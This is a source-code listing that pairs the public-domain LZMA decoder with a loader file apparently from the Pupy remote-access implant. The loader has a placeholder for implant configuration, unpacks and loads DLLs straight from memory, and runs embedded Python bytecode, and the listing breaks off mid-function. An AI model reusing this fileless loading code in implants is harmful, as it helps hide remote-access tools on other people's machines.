            p->tempBufSize = (unsigned)inSize;
            (*srcLen) += inSize;
            *status = LZMA_STATUS_NEEDS_MORE_INPUT;
            return SZ_OK;
          }
          if (checkEndMarkNow && dummyRes != DUMMY_MATCH)
          {
            *status = LZMA_STATUS_NOT_FINISHED;
            return SZ_ERROR_DATA;
          }
          bufLimit = src;
        }
        else
          bufLimit = src + inSize - LZMA_REQUIRED_INPUT_MAX;
        p->buf = src;
        if (LzmaDec_DecodeReal2(p, dicLimit, bufLimit) != 0)
          return SZ_ERROR_DATA;
        processed = (SizeT)(p->buf - src);
        (*srcLen) += processed;
        src += processed;
        inSize -= processed;
      }
      else
      {
        unsigned rem = p->tempBufSize, lookAhead = 0;
        while (rem < LZMA_REQUIRED_INPUT_MAX && lookAhead < inSize)
          p->tempBuf[rem++] = src[lookAhead++];
        p->tempBufSize = rem;
        if (rem < LZMA_REQUIRED_INPUT_MAX || checkEndMarkNow)
        {
          int dummyRes = LzmaDec_TryDummy(p, p->tempBuf, rem);
          if (dummyRes == DUMMY_ERROR)
          {
            (*srcLen) += lookAhead;
            *status = LZMA_STATUS_NEEDS_MORE_INPUT;
            return SZ_OK;
          }
          if (checkEndMarkNow && dummyRes != DUMMY_MATCH)
          {
            *status = LZMA_STATUS_NOT_FINISHED;
            return SZ_ERROR_DATA;
          }
        }
        p->buf = p->tempBuf;
        if (LzmaDec_DecodeReal2(p, dicLimit, p->buf) != 0)
          return SZ_ERROR_DATA;
        
        {
          unsigned kkk = (unsigned)(p->buf - p->tempBuf);
          if (rem < kkk)
            return SZ_ERROR_FAIL; /* some internal error */
          rem -= kkk;
          if (lookAhead < rem)
            return SZ_ERROR_FAIL; /* some internal error */
          lookAhead -= rem;
        }
        (*srcLen) += lookAhead;
        src += lookAhead;
        inSize -= lookAhead;
        p->tempBufSize = 0;
      }
  }
  if (p->code == 0)
    *status = LZMA_STATUS_FINISHED_WITH_MARK;
  return (p->code == 0) ? SZ_OK : SZ_ERROR_DATA;
}

SRes LzmaDec_DecodeToBuf(CLzmaDec *p, Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status)
{
  SizeT outSize = *destLen;
  SizeT inSize = *srcLen;
  *srcLen = *destLen = 0;
  for (;;)
  {
    SizeT inSizeCur = inSize, outSizeCur, dicPos;
    ELzmaFinishMode curFinishMode;
    SRes res;
    if (p->dicPos == p->dicBufSize)
      p->dicPos = 0;
    dicPos = p->dicPos;
    if (outSize > p->dicBufSize - dicPos)
    {
      outSizeCur = p->dicBufSize;
      curFinishMode = LZMA_FINISH_ANY;
    }
    else
    {
      outSizeCur = dicPos + outSize;
      curFinishMode = finishMode;
    }

    res = LzmaDec_DecodeToDic(p, outSizeCur, src, &inSizeCur, curFinishMode, status);
    src += inSizeCur;
    inSize -= inSizeCur;
    *srcLen += inSizeCur;
    outSizeCur = p->dicPos - dicPos;
    memcpy(dest, p->dic + dicPos, outSizeCur);
    dest += outSizeCur;
    outSize -= outSizeCur;
    *destLen += outSizeCur;
    if (res != 0)
      return res;
    if (outSizeCur == 0 || outSize == 0)
      return SZ_OK;
  }
}

void LzmaDec_FreeProbs(CLzmaDec *p, ISzAlloc *alloc)
{
  alloc->Free(alloc, p->probs);
  p->probs = NULL;
}

static void LzmaDec_FreeDict(CLzmaDec *p, ISzAlloc *alloc)
{
  alloc->Free(alloc, p->dic);
  p->dic = NULL;
}

void LzmaDec_Free(CLzmaDec *p, ISzAlloc *alloc)
{
  LzmaDec_FreeProbs(p, alloc);
  LzmaDec_FreeDict(p, alloc);
}

SRes LzmaProps_Decode(CLzmaProps *p, const Byte *data, unsigned size)
{
  UInt32 dicSize;
  Byte d;
  
  if (size < LZMA_PROPS_SIZE)
    return SZ_ERROR_UNSUPPORTED;
  else
    dicSize = data[1] | ((UInt32)data[2] << 8) | ((UInt32)data[3] << 16) | ((UInt32)data[4] << 24);
 
  if (dicSize < LZMA_DIC_MIN)
    dicSize = LZMA_DIC_MIN;
  p->dicSize = dicSize;

  d = data[0];
  if (d >= (9 * 5 * 5))
    return SZ_ERROR_UNSUPPORTED;

  p->lc = d % 9;
  d /= 9;
  p->pb = d / 5;
  p->lp = d % 5;

  return SZ_OK;
}

static SRes LzmaDec_AllocateProbs2(CLzmaDec *p, const CLzmaProps *propNew, ISzAlloc *alloc)
{
  UInt32 numProbs = LzmaProps_GetNumProbs(propNew);
  if (!p->probs || numProbs != p->numProbs)
  {
    LzmaDec_FreeProbs(p, alloc);
    p->probs = (CLzmaProb *)alloc->Alloc(alloc, numProbs * sizeof(CLzmaProb));
    p->numProbs = numProbs;
    if (!p->probs)
      return SZ_ERROR_MEM;
  }
  return SZ_OK;
}

SRes LzmaDec_AllocateProbs(CLzmaDec *p, const Byte *props, unsigned propsSize, ISzAlloc *alloc)
{
  CLzmaProps propNew;
  RINOK(LzmaProps_Decode(&propNew, props, propsSize));
  RINOK(LzmaDec_AllocateProbs2(p, &propNew, alloc));
  p->prop = propNew;
  return SZ_OK;
}

SRes LzmaDec_Allocate(CLzmaDec *p, const Byte *props, unsigned propsSize, ISzAlloc *alloc)
{
  CLzmaProps propNew;
  SizeT dicBufSize;
  RINOK(LzmaProps_Decode(&propNew, props, propsSize));
  RINOK(LzmaDec_AllocateProbs2(p, &propNew, alloc));

  {
    UInt32 dictSize = propNew.dicSize;
    SizeT mask = ((UInt32)1 << 12) - 1;
         if (dictSize >= ((UInt32)1 << 30)) mask = ((UInt32)1 << 22) - 1;
    else if (dictSize >= ((UInt32)1 << 22)) mask = ((UInt32)1 << 20) - 1;;
    dicBufSize = ((SizeT)dictSize + mask) & ~mask;
    if (dicBufSize < dictSize)
      dicBufSize = dictSize;
  }

  if (!p->dic || dicBufSize != p->dicBufSize)
  {
    LzmaDec_FreeDict(p, alloc);
    p->dic = (Byte *)alloc->Alloc(alloc, dicBufSize);
    if (!p->dic)
    {
      LzmaDec_FreeProbs(p, alloc);
      return SZ_ERROR_MEM;
    }
  }
  p->dicBufSize = dicBufSize;
  p->prop = propNew;
  return SZ_OK;
}

SRes LzmaDecode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen,
    const Byte *propData, unsigned propSize, ELzmaFinishMode finishMode,
    ELzmaStatus *status, ISzAlloc *alloc)
{
  CLzmaDec p;
  SRes res;
  SizeT outSize = *destLen, inSize = *srcLen;
  *destLen = *srcLen = 0;
  *status = LZMA_STATUS_NOT_SPECIFIED;
  if (inSize < RC_INIT_SIZE)
    return SZ_ERROR_INPUT_EOF;
  LzmaDec_Construct(&p);
  RINOK(LzmaDec_AllocateProbs(&p, propData, propSize, alloc));
  p.dic = dest;
  p.dicBufSize = outSize;
  LzmaDec_Init(&p);
  *srcLen = inSize;
  res = LzmaDec_DecodeToDic(&p, outSize, src, srcLen, finishMode, status);
  *destLen = p.dicPos;
  if (res == SZ_OK && *status == LZMA_STATUS_NEEDS_MORE_INPUT)
    res = SZ_ERROR_INPUT_EOF;
  LzmaDec_FreeProbs(&p, alloc);
  return res;
}


================================================
FILE: client/common/LzmaDec.h
================================================
/* LzmaDec.h -- LZMA Decoder
2013-01-18 : Igor Pavlov : Public domain */

#ifndef __LZMA_DEC_H
#define __LZMA_DEC_H

#include "7zTypes.h"

EXTERN_C_BEGIN

/* #define _LZMA_PROB32 */
/* _LZMA_PROB32 can increase the speed on some CPUs,
   but memory usage for CLzmaDec::probs will be doubled in that case */

#ifdef _LZMA_PROB32
#define CLzmaProb UInt32
#else
#define CLzmaProb UInt16
#endif


/* ---------- LZMA Properties ---------- */

#define LZMA_PROPS_SIZE 5

typedef struct _CLzmaProps
{
  unsigned lc, lp, pb;
  UInt32 dicSize;
} CLzmaProps;

/* LzmaProps_Decode - decodes properties
Returns:
  SZ_OK
  SZ_ERROR_UNSUPPORTED - Unsupported properties
*/

SRes LzmaProps_Decode(CLzmaProps *p, const Byte *data, unsigned size);


/* ---------- LZMA Decoder state ---------- */

/* LZMA_REQUIRED_INPUT_MAX = number of required input bytes for worst case.
   Num bits = log2((2^11 / 31) ^ 22) + 26 < 134 + 26 = 160; */

#define LZMA_REQUIRED_INPUT_MAX 20

typedef struct
{
  CLzmaProps prop;
  CLzmaProb *probs;
  Byte *dic;
  const Byte *buf;
  UInt32 range, code;
  SizeT dicPos;
  SizeT dicBufSize;
  UInt32 processedPos;
  UInt32 checkDicSize;
  unsigned state;
  UInt32 reps[4];
  unsigned remainLen;
  int needFlush;
  int needInitState;
  UInt32 numProbs;
  unsigned tempBufSize;
  Byte tempBuf[LZMA_REQUIRED_INPUT_MAX];
} CLzmaDec;

#define LzmaDec_Construct(p) { (p)->dic = 0; (p)->probs = 0; }

void LzmaDec_Init(CLzmaDec *p);

/* There are two types of LZMA streams:
     0) Stream with end mark. That end mark adds about 6 bytes to compressed size.
     1) Stream without end mark. You must know exact uncompressed size to decompress such stream. */

typedef enum
{
  LZMA_FINISH_ANY,   /* finish at any point */
  LZMA_FINISH_END    /* block must be finished at the end */
} ELzmaFinishMode;

/* ELzmaFinishMode has meaning only if the decoding reaches output limit !!!

   You must use LZMA_FINISH_END, when you know that current output buffer
   covers last bytes of block. In other cases you must use LZMA_FINISH_ANY.

   If LZMA decoder sees end marker before reaching output limit, it returns SZ_OK,
   and output value of destLen will be less than output buffer size limit.
   You can check status result also.

   You can use multiple checks to test data integrity after full decompression:
     1) Check Result and "status" variable.
     2) Check that output(destLen) = uncompressedSize, if you know real uncompressedSize.
     3) Check that output(srcLen) = compressedSize, if you know real compressedSize.
        You must use correct finish mode in that case. */

typedef enum
{
  LZMA_STATUS_NOT_SPECIFIED,               /* use main error code instead */
  LZMA_STATUS_FINISHED_WITH_MARK,          /* stream was finished with end mark. */
  LZMA_STATUS_NOT_FINISHED,                /* stream was not finished */
  LZMA_STATUS_NEEDS_MORE_INPUT,            /* you must provide more input bytes */
  LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK  /* there is probability that stream was finished without end mark */
} ELzmaStatus;

/* ELzmaStatus is used only as output value for function call */


/* ---------- Interfaces ---------- */

/* There are 3 levels of interfaces:
     1) Dictionary Interface
     2) Buffer Interface
     3) One Call Interface
   You can select any of these interfaces, but don't mix functions from different
   groups for same object. */


/* There are two variants to allocate state for Dictionary Interface:
     1) LzmaDec_Allocate / LzmaDec_Free
     2) LzmaDec_AllocateProbs / LzmaDec_FreeProbs
   You can use variant 2, if you set dictionary buffer manually.
   For Buffer Interface you must always use variant 1.

LzmaDec_Allocate* can return:
  SZ_OK
  SZ_ERROR_MEM         - Memory allocation error
  SZ_ERROR_UNSUPPORTED - Unsupported properties
*/

SRes LzmaDec_AllocateProbs(CLzmaDec *p, const Byte *props, unsigned propsSize, ISzAlloc *alloc);
void LzmaDec_FreeProbs(CLzmaDec *p, ISzAlloc *alloc);

SRes LzmaDec_Allocate(CLzmaDec *state, const Byte *prop, unsigned propsSize, ISzAlloc *alloc);
void LzmaDec_Free(CLzmaDec *state, ISzAlloc *alloc);

/* ---------- Dictionary Interface ---------- */

/* You can use it, if you want to eliminate the overhead for data copying from
   dictionary to some other external buffer.
   You must work with CLzmaDec variables directly in this interface.

   STEPS:
     LzmaDec_Constr()
     LzmaDec_Allocate()
     for (each new stream)
     {
       LzmaDec_Init()
       while (it needs more decompression)
       {
         LzmaDec_DecodeToDic()
         use data from CLzmaDec::dic and update CLzmaDec::dicPos
       }
     }
     LzmaDec_Free()
*/

/* LzmaDec_DecodeToDic

   The decoding to internal dictionary buffer (CLzmaDec::dic).
   You must manually update CLzmaDec::dicPos, if it reaches CLzmaDec::dicBufSize !!!

finishMode:
  It has meaning only if the decoding reaches output limit (dicLimit).
  LZMA_FINISH_ANY - Decode just dicLimit bytes.
  LZMA_FINISH_END - Stream must be finished after dicLimit.

Returns:
  SZ_OK
    status:
      LZMA_STATUS_FINISHED_WITH_MARK
      LZMA_STATUS_NOT_FINISHED
      LZMA_STATUS_NEEDS_MORE_INPUT
      LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK
  SZ_ERROR_DATA - Data error
*/

SRes LzmaDec_DecodeToDic(CLzmaDec *p, SizeT dicLimit,
    const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status);


/* ---------- Buffer Interface ---------- */

/* It's zlib-like interface.
   See LzmaDec_DecodeToDic description for information about STEPS and return results,
   but you must use LzmaDec_DecodeToBuf instead of LzmaDec_DecodeToDic and you don't need
   to work with CLzmaDec variables manually.

finishMode:
  It has meaning only if the decoding reaches output limit (*destLen).
  LZMA_FINISH_ANY - Decode just destLen bytes.
  LZMA_FINISH_END - Stream must be finished after (*destLen).
*/

SRes LzmaDec_DecodeToBuf(CLzmaDec *p, Byte *dest, SizeT *destLen,
    const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status);


/* ---------- One Call Interface ---------- */

/* LzmaDecode

finishMode:
  It has meaning only if the decoding reaches output limit (*destLen).
  LZMA_FINISH_ANY - Decode just destLen bytes.
  LZMA_FINISH_END - Stream must be finished after (*destLen).

Returns:
  SZ_OK
    status:
      LZMA_STATUS_FINISHED_WITH_MARK
      LZMA_STATUS_NOT_FINISHED
      LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK
  SZ_ERROR_DATA - Data error
  SZ_ERROR_MEM  - Memory allocation error
  SZ_ERROR_UNSUPPORTED - Unsupported properties
  SZ_ERROR_INPUT_EOF - It needs more bytes in input buffer (src).
*/

SRes LzmaDecode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen,
    const Byte *propData, unsigned propSize, ELzmaFinishMode finishMode,
    ELzmaStatus *status, ISzAlloc *alloc);

EXTERN_C_END

#endif


================================================
FILE: client/common/Python-dynload.c
================================================
/* **************** Python-dynload.c **************** */
#include "Python-dynload.h"
#include "Python-dynload-os.h"


typedef struct dependency {
    const char* name;
    const char *bytes;
    size_t size;
    BOOL is_python;
} dependency_t;

struct py_imports py_sym_table[] = {
#include "import-tab.c"
    { NULL, NULL }, /* sentinel */
};

static char __config__[500000] = "####---PUPY_CONFIG_COMES_HERE---####\n";

static PyGILState_STATE restore_state;
static BOOL is_initialized = FALSE;
static const PyObject *py_stdlib_G = NULL;

/* Likely-to-be-used modules */
static const char *preload_modules[] = {
    "types",
    //"linecache",
    "codecs",

    "_weakrefset",
    "_py_abc",
    "abc",
    "__future__",
    "warnings",
    "importlib._bootstrap",
    "sre_constants",
    "sre_parse",
    "sre_compile",
    "struct",
    ENCODINGS ".aliases",

    NULL
};

#include "lzmaunpack.c"
#include "library.c"

static PyObject* py_module_from_stdlib(PyObject *py_stdlib, const char *name, int is_init);

static HMODULE xz_dynload(const char *libname, const char *xzbuf, size_t xzsize, void *arg) {
    HMODULE hModule;
    void *uncompressed = NULL;
    Py_ssize_t uncompressed_size = 0;

    dprint("Uncompressing %s from %p (size=%d\n)\n", libname, xzbuf, xzsize);

    uncompressed = lzmaunpack(xzbuf, xzsize, &uncompressed_size);

    if (!uncompressed) {
        dprint("%s decompression failed\n", libname);
        return NULL;
    }

    dprint("%s decompressed to %p (size=%d)\n", libname, uncompressed, uncompressed_size);

    hModule = MemLoadLibrary(
        libname, (char *) uncompressed, uncompressed_size, arg
    );

#if FREE_HMODULE_AFTER_LOAD
    lzmafree(uncompressed, uncompressed_size);
#endif

    if (!hModule) {
        dprint("loading %s from memory failed\n", libname);
        return NULL;
    }

    return hModule;
}

PyObject* load_stdlib() {
	if(py_stdlib_G == NULL) {
		PyObject *py_stdlib;
		dprint("Stdlib size: %d\n", library_c_size);
		py_stdlib = PyDict_lzmaunpack(library_c_start, library_c_size);
		if (!py_stdlib) {
			dprint("load_stdlib: PyDict_lzmaunpack() -> Error unpacking py_stdlib\n");
			return NULL;
		}
		Py_IncRef(py_stdlib);

		dprint("Stdlib unpacked: %p\n", py_stdlib);
		py_stdlib_G = py_stdlib;

		dprint("Unmap stdlib..\n");
		OSUnmapRegion(library_c_start, library_c_size);
		dprint("Unmap stdlib.. done\n");
		return py_stdlib;
	} else {
		dprint("stdlib already loaded\n");
		return py_stdlib_G;
	}
}

static
size_t last_chr_offt(const char *cstr, char chr) {
    int found_any = 0;
    size_t last_found = 0;
    size_t offt;

    for (offt=0; cstr && cstr[offt]; offt++) {
        if (cstr[offt] == chr) {
            found_any = 1;
            last_found = offt;
        }
    }

    if (found_any)
        return last_found;
    else
        return offt;
}


BOOL initialize_python(int argc, char *argv[], BOOL is_shared_object) {
    HMODULE hPython = NULL;
    PyObject *py_argv = NULL;
    PyObject *py_empty_list = NULL;
    dependency_t dependencies[] = DEPENDENCIES;
    resolve_symbol_t resolver = NULL;
    dependency_t *dependency = NULL;
    struct py_imports *py_sym = NULL;
    int i;

    if (is_initialized) {
        return TRUE;
    }
#ifdef DEBUG_USE_OS_PYTHON
    hPython = OSLoadLibrary("python310.dll");
    resolver = OSResolveSymbol;
#else
    for (dependency=dependencies; !hPython; dependency ++) {
        HMODULE hModule = CheckLibraryLoaded(dependency->name);

        if (hModule) {
            if (dependency->is_python) {
                hPython = hModule;
                resolver = OSResolveSymbol;
            }

            continue;
        }

        dprint("Loading %s\n", dependency->name);

        hModule = xz_dynload(
            dependency->name, dependency->bytes, dependency->size, NULL
        );

        dprint("Loaded %s -> %p\n", dependency->name, hModule);

        OSUnmapRegion(dependency->bytes, dependency->size);

        if (!hModule) {
            dprint("%s: load failed\n", dependency->name);
            return FALSE;
        }

        if (dependency->is_python) {
            hPython = hModule;
            resolver = MemResolveSymbol;
        }
    }
#endif

    dprint("Loading python from %p\n", hPython);

    for (py_sym = py_sym_table; py_sym->name; py_sym ++) {
        py_sym->proc = (void (*)()) resolver(hPython, py_sym->name);
        if (py_sym->proc == NULL) {
            dprint("undefined symbol %s\n", py_sym->name);
            return FALSE;
        }
    }



    dprint("Initializing Path & Flags ...\n");
    if(!Py_IsInitialized()) {
        dprint("Py not initialized yet\n");
       
        dprint("Setting python flags ...\n");
        char * pgm = OSGetProgramName();
        wchar_t wtext[PATH_MAX];
        mbstowcs(wtext, pgm, strlen(pgm)+1);//Plus null

        //wchar_t * path= "";
        Py_SetProgramName(wtext);
        //wchar_t libfilename[PATH_MAX];
        //GetModuleFileNameW(NULL, libfilename, sizeof(libfilename));
        //dprint("libfilename: %S\n",libfilename);
        wchar_t *wchar_paths = Py_DecodeLocale(".", NULL);
        Py_SetPath(wchar_paths);
        
        /* 
        wchar_t * ppath = Py_GetPath();
        if (ppath)
            memset(ppath, '\0', strlen(ppath));
        */
        
	    PyStatus status;

		PyPreConfig preconfig;

        dprint("init python preconfig\n");
        /*
		typedef void (CALLBACK* PyPreConfig_InitPythonConfigT)(PyPreConfig *);
		PyPreConfig_InitPythonConfigT PyPreConfig_InitPythonConfig;
        (PyPreConfig_InitPythonConfigT)PyPreConfig_InitPythonConfig = MyGetProcAddress(hPython, "PyPreConfig_InitPythonConfig");
        */
		PyPreConfig_InitPythonConfig(&preconfig);
		//preconfig.legacy_windows_fs_encoding = 0;
		//preconfig.isolated = 0;
        preconfig.use_environment = 0;
		//preconfig.utf8_mode = 1;
	
        dprint("call preinitialize\n");
		Py_PreInitialize(&preconfig);

		
		
		PyConfig config;
		//typedef void (CALLBACK* PyConfig_InitPythonConfigT)(PyConfig *);
        //(PyConfig_InitPythonConfigT)PyConfig_InitPythonConfig = MyGetProcAddress(hPython, "PyConfig_InitPythonConfig");
		
        dprint("init python config\n");
		PyConfig_InitPythonConfig(&config);
        
		config._init_main = 0;
		config.isolated = 0;
        config.site_import = 0;
        config.user_site_directory = 0;
        config.write_bytecode = 0;
        

        dprint("Py_InitializeFromConfig\n");

		status = Py_InitializeFromConfig(&config);



        /*
        Py_IsolatedFlag = 1;
        Py_OptimizeFlag = 2;
        Py_UnbufferedStdioFlag = 1;
        Py_FileSystemDefaultEncoding = FILE_SYSTEM_ENCODING;
        Py_NoSiteFlag = 1;
        Py_DontWriteBytecodeFlag = 1;
        Py_NoUserSiteDirectory = 1;
        Py_IgnoreEnvironmentFlag = 1;
       
        
        */

        //int * Py_IsolatedFlagPTR = (int *)MyGetProcAddress(hPython, "Py_IsolatedFlag");
        //*Py_IsolatedFlagPTR = 1;

		//PyConfig_Clear(&config);

		
        //Py_Initialize();
        //Py_InitializeEx(is_shared_object? 0 : 1);
        dprint("done\n");


        
        

        dprint("calling PyEval_InitThreads\n");
        PyEval_InitThreads();
    }


    dprint("calling PyGILState_Ensure\n");
    restore_state = PyGILState_Ensure();

    py_empty_list = PyList_New(0);
    if (!py_empty_list) {
        dprint("Couldn't allocate list for sys.path\n");
        goto lbExit1;
    }

    PySys_SetObject("path", py_empty_list);
    

    dprint("SET ARGV (ARGC=%d; SHARED? %d)\n", argc, is_shared_object);

    if (is_shared_object) {
        if (argc > 2 && !strcmp(argv[1], "--pass-args")) {
            argv[1] = argv[0];
            argc -= 1;
            argv += 1;
        } else {
            argc = 1;
        }
    }

    py_argv = PyList_New(0);
    if (!py_argv) {
        dprint("Couldn't allocate list for argv\n");
        goto lbExit1;
    }

    Py_IncRef(py_argv);

    for (i = 0; i<argc && argv[i]; i++) {
        PyList_Append(py_argv, PyUnicode_FromString(argv[i]));
    }

    PySys_SetObject("executable", PyUnicode_FromString(OSGetProgramName()));
    PySys_SetObject("argv", py_argv);

    Py_DecRef(py_argv);

    //setup_jvm_class();

    dprint("Python initialized\n");
    return TRUE;

lbExit1:
    return FALSE;
}


static
PyObject *py_eval_package_init(
    const char *name, PyObject *co_code,
        const char *vpath, const char *path, int is_init)
{
    PyObject *new_module;
    PyObject *new_module_dict;
    PyObject *builtins;
    PyObject *py_eval_result;
    PyObject *modules = NULL;

    size_t last_dm = 0;

    modules = PySys_GetObject("modules");
    if (!modules) {
        dprint(
            "py_eval_package_init(%s) :: can't get sys.modules\n",
            name
        );

        return NULL;
    }

    new_module = PyImport_AddModule(name);
    if (!new_module) {
        dprint(
            "py_eval_package_init(%s) - PyImport_AddModule failed\n", name
        );

        return NULL;
    }

    new_module_dict = PyModule_GetDict(new_module);

    PyObject_SetAttrString(
        new_module, "__file__", PyUnicode_FromString(vpath));

    dprint(
        "py_eval_package_init(%s) %p.__file__ = %s\n",
        name, new_module, vpath
    );

    last_dm = last_chr_offt(name, '.');

    if (is_init) {
        PyObject *key, *value;
        Py_ssize_t pos = 0;
        Py_ssize_t name_len = strlen(name);

        PyObject_SetAttrString(
            new_module, "__package__", PyUnicode_FromString(name)
        );

        dprint(
            "py_eval_package_init(%s) %p.__package__ = %s\n",
            name, new_module, name
        );


        dprint(
            "py_eval_package_init(%s): iterate modules at %p\n", name, modules
        );
        
        /* Need to find/set all childs */
        while (PyDict_Next(modules, &pos, &key, &value)) {
            dprint("iteration: %d\n", pos);
            const char *modname = NULL;
            Py_ssize_t modname_len = 0;
            /*
            if (PyUnicode_FromStringAndSize(&modname, &modname_len) < 0) {
                dprint(
                    "py_eval_package_init(%s) :: key at %d is not a string\n",
                    name, pos
                );

                PyErr_Clear();
            }*/

            modname = PyUnicode_AsUTF8AndSize(key, &modname_len);

            if (! (modname && modname_len)) {
                dprint(
                    "py_eval_package_init(%s) :: nothing to compare\n",
                    name
                );
                continue;
            }
            dprint("modname: %s modname_len: %d name_len: %d\n", modname, modname_len, name_len );
            
            /*
            if (strncmp("pupy.", modname, 5)) {
                continue;
            }
            */
            if (modname_len < name_len + 2)
                continue;

            if (strncmp(name, modname, name_len))
                continue;

            if (modname[name_len] != '.')
                continue;

            dprint(
                "py_eval_package_init(%s) :: child: %s\n",
                name, modname + name_len + 1
            );

            PyObject_SetAttrString(
                new_module, modname + name_len + 1, value
            );
        }
    } else if (last_dm) {
        PyObject *py_tmp = PyUnicode_FromStringAndSize(
            name, last_dm
        );

        dprint(
            "py_eval_package_init(%s) %p.__package__ = %s\n",
            name, new_module, PyUnicode_AsUTF8(py_tmp)
        );

        PyObject_SetAttrString(
            new_module, "__package__", py_tmp
        );
    }

    last_dm = last_chr_offt(vpath + sizeof(VPATH_PREFIX), '/');

    if (last_dm) {
        PyObject *py_vpath;

        last_dm += sizeof(VPATH_PREFIX);

        py_vpath = PyBytes_FromStringAndSize(
            vpath, last_dm);

        PyObject_SetAttrString(
            new_module, "__path__", Py_BuildValue("[O]", py_vpath));

        Py_DecRef(py_vpath);

        dprint(
            "py_eval_package_init(%s) %p.__path__ = [%s] (refs=%d)\n",
            name, new_module, PyBytes_AsString(py_vpath), Py_RefCnt(py_vpath)
        );
    }

    //builtins = PyEval_GetBuiltins();
    builtins = PyImport_Import(PyUnicode_FromString("builtins"));
    if (!builtins) {
        dprint("py_eval_package_init(%s) : could not import builtins module\n", name);
    }
    Py_IncRef(builtins);
    PyDict_SetItemString(new_module_dict, "__builtins__", builtins);

    dprint(
        "py_eval_package_init(%s) %p.__dict__['__builtins__'] = %p (refcnt=%d)\n",
        name, new_module, builtins, Py_RefCnt(builtins)
    );

    py_eval_result = PyEval_EvalCode(
        co_code, new_module_dict, new_module_dict);

    if (!py_eval_result) {
        // FIXME: Delete from sys.modules (?)
        if (PyDict_DelItemString(modules, name) < 0) {
            dprint(
                "py_eval_package_init(%s) Failed to delete from sys.modules\n", name
            );
        }
        return NULL;
    }

    Py_DecRef(py_eval_result);

    dprint(
        "py_eval_package_init(%s) -> builtins %p (refcnt=%d)\n",
        name, builtins, Py_RefCnt(builtins)
    );

    dprint(
        "py_eval_package_init(%s) -> %p (refcnt=%d) __dict__ %p (refcnt=%d) co_code %p (refcnt=%d)\n",
        name,
        new_module, Py_RefCnt(new_module),
        new_module_dict, Py_RefCnt(new_module_dict),
        co_code, Py_RefCnt(co_code)
    );

    return new_module;
}

/*
BOOL load_c_extension_from_stdlib(PyObject *py_stdlib, const char *name) {
    PyObject *pybody = NULL;
    char *pybody_c_ptr = NULL;
    Py_ssize_t pybody_c_size = 0;
    char * vpath_name;
    char * func_name;
    size_t vpath_len;
    BOOL result = TRUE;
    
    vpath_len = strlen(name) + 5;
    vpath_name = (char *) OSAlloc(vpath_len);
    if (!vpath_name)
        goto lbMemFailure1;
    func_name = (char *) OSAlloc(vpath_len+10);
    if (!vpath_name)
        goto lbMemFailure1;

    memset(vpath_name, '\0', vpath_len);
    strcat(vpath_name, name);
#ifdef _WIN32
    strcat(vpath_name, ".pyd");
#else
    strcat(vpath_name, ".so");
#endif

    memset(func_name, '\0', vpath_len+10);
    strcat(func_name, "PyInit_");
    strcat(func_name, name);

    dprint("loading C extension from stdlib: %s\n", vpath_name);

    pybody = PyDict_GetItemString(py_stdlib, vpath_name);
    if (!pybody) {
        dprint(
            "load_c_extension_from_stdlib(%s) -> %s not found in stdlib\n",
            name, vpath_name
        );

        PyErr_SetString(PyExc_ImportError, name);
        result = FALSE;
        goto lbFreeVpath;
    }

    HMODULE hModule = CheckLibraryLoaded(vpath_name);
    if (hModule) {
        dprint("library %s already loaded\n", vpath_name);
        return FALSE;
    }


    if (PyBytes_AsStringAndSize(pybody, &pybody_c_ptr, &pybody_c_size) == -1) {
        dprint(
            "load_c_extension_from_stdlib(%s) -> %s -> Invalid type?\n",
            name, vpath_name
        );
        result = FALSE;
        goto lbFreeVpath;
    }

#ifdef _WIN32
    if(!(pybody_c_ptr[0]=='M' && pybody_c_ptr[1]=='Z')) {
        dprint("extension %s is not a PE ??\n", vpath_name);
        goto lbFreeVpath;
    }
#endif

    ULONG_PTR cookie = 0;

    cookie = _My_ActivateActCtx();
    hModule = MemLoadLibrary(
        vpath_name, pybody_c_ptr, pybody_c_size, NULL
    );
    _My_DeactivateActCtx(cookie);
    if (!hModule) {
        dprint("MemLoadLibrary( %s ) failed\n", vpath_name);
        result = FALSE;
        goto lbFreeVpath;
    }

    char * oldcontext = _Py_PackageContext;
    _Py_PackageContext = name;

    typedef FARPROC (*PyInitT)(void);
    PyInitT PyInitF;
    PyInitF = (PyInitT)MemResolveSymbol(hModule, func_name);
    PyInitF();

    _Py_PackageContext = oldcontext;
    if (PyErr_Occurred())
        result=FALSE;
    //PyImport_AppendInittab(name, func_name);

    lbFreeVpath:
        OSFree(vpath_name);
        OSFree(func_name);

    return result;

    lbMemFailure1:
        return PyErr_NoMemory();
}
*/



static PyObject* py_module_from_stdlib(PyObject *py_stdlib, const char *name, int is_init) {
    PyObject *module = NULL;
    PyObject *pybody = NULL;
    PyObject *pybytecode = NULL;

    char *pybody_c_ptr = NULL;
    Py_ssize_t pybody_c_size = 0;

    char *vpath_name = NULL;
    char *path_name = NULL;
    char *ptr = NULL;

    int is_path = 1;

    // pupy:// name /__init__.pyo
    // OR
    // pupy:// name .pyo

    size_t vpath_len =
        strlen(name)
        + sizeof(VPATH_PREFIX) - 1
        + (is_init? sizeof(VPATH_INIT_EXT) : sizeof(VPATH_EXT)) - 1
        + 1
        ;

    vpath_name = (char *) OSAlloc(vpath_len);
    if (!vpath_name)
        goto lbMemFailure1;

    memset(vpath_name, '\0', vpath_len);
    strcpy(vpath_name, VPATH_PREFIX);
    strcat(vpath_name, name);

    for (ptr=vpath_name; *ptr; ptr++)
        if (*ptr == '.')
            *ptr = '/';

    if (is_init)
        strcat(vpath_name, VPATH_INIT_EXT);
    else
        strcat(vpath_name, VPATH_EXT);

    // same string without pupy://
    path_name = vpath_name + sizeof(VPATH_PREFIX) - 1;

    pybody = PyDict_GetItemString(py_stdlib, path_name);
    if (!pybody) {
        dprint(
            "py_module_from_library(%s, %d) -> %s (%s) not found in stdlib\n",
            name, is_init, path_name, vpath_name
        );

        PyErr_SetString(PyExc_ImportError, name);
        goto lbFreeVpath;
    }

    dprint(
        "py_module_from_library(%s, %d) -> %s found -> %p\n",
        name, is_init, path_name, pybody
    );

    if (PyBytes_AsStringAndSize(pybody, &pybody_c_ptr, &pybody_c_size) == -1) {
        dprint(
